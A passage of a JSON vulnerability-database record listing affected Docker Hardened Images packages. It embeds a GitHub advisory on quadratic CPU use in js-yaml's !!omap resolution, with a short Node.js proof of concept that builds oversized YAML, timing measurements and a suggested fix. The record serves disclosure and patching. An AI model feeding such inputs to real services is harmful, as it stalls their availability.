Images:Alpine:3.24","package":"karma-dev","purl":"pkg:apk/dhi/karma-dev","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"karma-fips","purl":"pkg:apk/dhi/karma-fips","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Alpine:3.24","package":"karma-fips-dev","purl":"pkg:apk/dhi/karma-fips-dev","versions":["0.131-r0","0.131-r1","0.131-r3","0.132-r0","0.132-r1","0.132-r2","0.132-r3","0.133-r0","0.133-r1","0.133-r2","0.133-r3","0.134-r0","0.134-r1","0.134-r2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"datahub-ingestion","purl":"pkg:deb/dhi/datahub-ingestion","versions":["1.5.0.7-0","1.6.0.1-0","1.6.0.1-1","1.6.0.1-2","1.6.0.1-3","1.6.0.2-0","1.6.0.2-1","1.7.0.10-0","1.7.0.12-0","1.7.0.13-0","1.7.0.14-0","1.7.0.14-1","1.7.0.14-2","1.7.0.16-0","1.7.0.16-1","1.7.0.17-0","1.7.0.17-1","1.7.0.17-2","1.7.0.17-3","1.7.0.18-0","1.7.0.19-0","1.7.0.19-1","1.7.0.19-2","1.7.0.19-3","1.7.0.19-4","1.7.0.19-5","1.7.0.19-6","1.7.0.20-6","1.7.0.20-7"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"jupyterhub-k8s-singleuser-sample","purl":"pkg:deb/dhi/jupyterhub-k8s-singleuser-sample","versions":["4.4.5-0","4.4.5-1","4.4.5-2","4.4.5-3"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"jupyterhub-k8s-singleuser-sample-fips","purl":"pkg:deb/dhi/jupyterhub-k8s-singleuser-sample-fips","versions":["4.4.5-0","4.4.5-1","4.4.5-2","4.4.5-3"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"},{"ecosystem":"Docker Hardened Images:Debian:13","package":"qdrant","purl":"pkg:deb/dhi/qdrant","versions":["1.18.3-0","1.18.3-1","1.18.3-2","1.19.0-0","1.19.0-1","1.19.0-2","1.19.0-3","1.19.0-4","1.19.0-5","1.19.0-6","1.19.1-1","1.19.1-2","1.19.1-3","1.19.1-4","1.19.1-5","1.19.1-6","1.19.1-7","1.19.2-0","1.19.2-1","1.19.2-2","1.20.0-0","1.20.0-1","1.20.0-2","1.20.0-3","1.20.0-4","1.20.0-6","1.20.0-7","1.20.0-8","1.20.1-0","1.20.2-0","1.20.2-1","1.20.2-2"],"provider":"osv","source":"DHI-7mfr-rzkf-wzs3-epya","relation":"self"}],"product_status":[],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-7mfr-rzkf-wzs3-epya"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5p4m-2wfm-xmqj"},{"type":"ADVISORY","url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj"}]},{"provider":"osv","source_id":"GHSA-5p4m-2wfm-xmqj","relation":"self","url":"https://osv.dev/vulnerability/GHSA-5p4m-2wfm-xmqj","license":"CC-BY-4.0","published_at":"2026-08-06T20:27:32Z","modified_at":"2026-09-10T03:50:53.407436Z","summary":"JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported","details":"# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)\n\n## Summary\n\n`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear\nscan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution\n**O(n²)** in the number of entries. A modestly sized YAML document therefore\nconsumes disproportionate CPU inside `yaml.load()`, giving a denial of service\nagainst any consumer that parses untrusted YAML.\n\n`!!omap` is registered in the **default schema**\n(`lib/schema/default.js` → `require('../type/omap')`), so a plain\n`yaml.load(untrustedInput)` with no options is affected — no custom schema or\nnon-default configuration is required.\n\n**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was\nfixed in the 5.x line in 5.2.1. That fix was never backported: both currently\nmaintained legacy lines still carry the original implementation.\n\n## Affected versions\n\n| Line | Latest tested | Status |\n|---|---|---|\n| 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |\n| 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |\n| 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |\n\nBoth figures are the newest release of each line at the time of writing, so\nthis is not a \"you are on an old version\" issue.\n\n## Details\n\n`lib/type/omap.js` (js-yaml 4.3.0):\n\n```js\nif (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)\nelse return false\n```\n\n`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a\nlinear scan, so resolving an `n`-entry `!!omap` performs roughly\n`1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously\ninside `yaml.load()`, blocking the event loop for its whole duration.\n\nThe 5.x line already solves exactly this by tracking seen keys in a `Set`\n(`src/tag/sequence/omap.ts`):\n\n```ts\nif (carrier.seen.has(key)) return 'duplicate key in ordered map'\ncarrier.seen.add(key)\n```\n\n## Proof of concept\n\n```js\n// poc.js  —  node poc.js\nconst yaml = require('js-yaml');\nconst doc = n => '!!omap\\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\\n') + '\\n';\n\nfor (const n of [10000, 20000, 40000, 80000]) {\n  const d = doc(n), t = Date.now();\n  yaml.load(d);                      // default schema, no options\n  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);\n}\n```\n\n### Measured (node v20.20.2, default heap, no flags)\n\n**js-yaml 4.3.0**\n\n```\nn=10000  bytes=137787   load=54ms\nn=20000  bytes=297787   load=169ms\nn=40000  bytes=617787   load=646ms\nn=80000  bytes=1257787  load=2607ms\n```\n\n**js-yaml 3.15.0**\n\n```\nn=10000  bytes=137787   load=53ms\nn=20000  bytes=297787   load=166ms\nn=40000  bytes=617787   load=641ms\nn=80000  bytes=1257787  load=2567ms\n```\n\nRuntime grows by a factor of ~4 for each doubling of `n`, which is the\nsignature of O(n²) (linear growth would be ~2×).\n\nScaling further: a **2.48 MB** document with 150,000 entries blocked\n`yaml.load()` for **10.8 seconds**.\n\n## Impact\n\nAny service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be\nstalled with a small input. Because the loop is synchronous, a single request\nblocks the Node.js event loop and stalls every other request in the process —\nso the amplification is per-process, not just per-request.\n\nSuggested severity: consistent with **CVE-2026-59870** (the same weakness in\n5.x), i.e. Availability-only impact, network attack vector, no privileges or\nuser interaction required.\n\n## Suggested fix\n\nMirror the 5.x fix — replace the linear scan with a `Set`:\n\n```js\n// lib/type/omap.js\nconst seen = new Set()\n// ...\nif (seen.has(pairKey)) return false\nseen.add(pairKey)\n```\n\nThis preserves the existing duplicate-key rejection semantics exactly while\nmaking resolution O(n). A `maxOmapLength`-style cap would also work, but the\n`Set` matches what 5.x already ships and requires no new option.\n\n## References\n\n- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1\n- `lib/type/omap.js` (3.x, 4.x) — the affected resolver\n- `lib/schema/default.js` — registers `!!omap` in the default schema\n\n## Discovery\n\nFound by an automated static-analysis and executed-proof-of-concept scanner run\nagainst js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by\nexecuting the proof of concept above. All timings in this report were measured\non the **current** releases of each line, not on the version originally scanned.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","source":"GHSA-5p4m-2wfm-xmqj"}],"affected":[{"ecosystem":"npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.15.1"}]}],"fixed":["3.15.1"],"provider":"osv","source":"GHSA-5p4m-2wfm-xmqj","relation":"self"},{"ecosystem":"npm","package":"js-yaml","purl":"pkg:npm/js-yaml","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.3.1"}]}],"fixed":["4.3.1"],"provider":"osv","source":"GHSA-5p4m-2wfm-xmqj","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj"},{"type":"PACKAGE","url":"https://github.com/nodeca/js-yaml"}]}],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-7mfr-rzkf-wzs3-epya"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5p4m-2wfm-xmqj"},{"type":"ADVISORY","url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj"},{"type":"PACKAGE","url":"https://github.com/nodeca/js-yaml"}],"sources":[{"provider":"osv","source_id":"CLSA-2026-1774570935","url":"https://osv.dev/vulnerability/CLSA-2026-1774570935","modified_at":"2026-10-15T09:47:04.3742Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1781484837","url":"https://osv.dev/vulnerability/CLSA-2026-1781484837","modified_at":"2026-10-15T09:47:51.285258Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1784682988","url":"https://osv.dev/vulnerability/CLSA-2026-1784682988","modified_at":"2026-10-15T09:47:54.190339Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1790522263","url":"https://osv.dev/vulnerability/CLSA-2026-1790522263","modified_at":"2026-10-15T09:47:38.123495Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1790963665","url":"https://osv.dev/vulnerability/CLSA-2026-1790963665","modified_at":"2026-10-15T09:47:38.645562Z","relation":"upstream"},{"provider":"osv","source_id":"CLSA-2026-1789749920","url":"https://osv.dev/vulnerability/CLSA-2026-1789749920","modified_at":"2026-10-15T09:47:56.122501Z","relation":"self"},{"provider":"osv","source_id":"DHI-7mfr-rzkf-wzs3-epya","url":"https://osv.dev/vulnerability/DHI-7mfr-rzkf-wzs3-epya","license":"Apache-2.0","modified_at":"2026-11-18T23:45:09.739102Z","relation":"self"},{"provider":"osv","source_id":"GHSA-5p4m-2wfm-xmqj","url":"https://osv.dev/vulnerability/GHSA-5p4m-2wfm-xmqj","license":"CC-BY-4.0","modified_at":"2026-09-10T03:50:53.407436Z","relation":"self"}]}
